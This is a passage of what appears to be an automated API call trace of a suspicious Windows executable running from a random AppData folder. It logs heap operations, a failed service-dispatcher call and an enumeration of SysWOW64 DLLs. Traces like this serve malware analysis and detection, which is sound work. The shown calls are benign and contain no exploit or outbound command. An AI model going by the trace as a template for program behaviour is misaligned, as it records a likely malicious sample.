lpMultiByteStr=0x1dc900, cbMultiByte=9, lpWideCharStr=0x1de1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0164.131] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de268 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de1e0) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de268) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc900) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x425058) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x422850) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd258) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd268) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd278) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd288) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.131] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0164.132] StartServiceCtrlDispatcherW (lpServiceTable=0x41fc44*(lpServiceName="", lpServiceProc=0x23d040)) returned 0 [0164.134] GetLastError () returned 0x427 [0164.134] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS" [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de268 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x5c) returned 0x1ddd28 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de1e0 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de2f0 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de378 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de400 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de488 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de510 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de598 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de620 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de6a8 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de730 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de7b8 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x100) returned 0x427cf8 [0164.134] GetSystemWow64DirectoryW (in: lpBuffer=0x427cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0164.134] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x427cf8) returned 1 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de840 [0164.134] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de840) returned 1 [0164.134] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de840 [0164.134] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x41f9a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f9a0) returned 0x7e2ac8 [0164.135] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.135] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.135] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x1dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0164.135] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.135] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.135] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.135] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.135] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.135] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0164.137] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.137] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0164.137] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x1dc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0164.137] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.137] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.137] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.137] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.137] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.137] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0164.137] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.137] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.137] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x1dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0164.137] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.137] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.137] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.137] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.137] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.137] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0164.137] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.137] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x1dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.138] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x1dc288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.138] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x1dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.138] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x1dc288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0164.138] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.139] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0164.139] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.139] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0164.139] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x1dc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0164.139] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.139] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0164.139] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.139] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.139] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x1dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0164.139] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.139] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0164.139] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.139] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.139] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x1dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0164.139] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.139] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x1dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.140] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.140] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.140] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.140] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.140] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 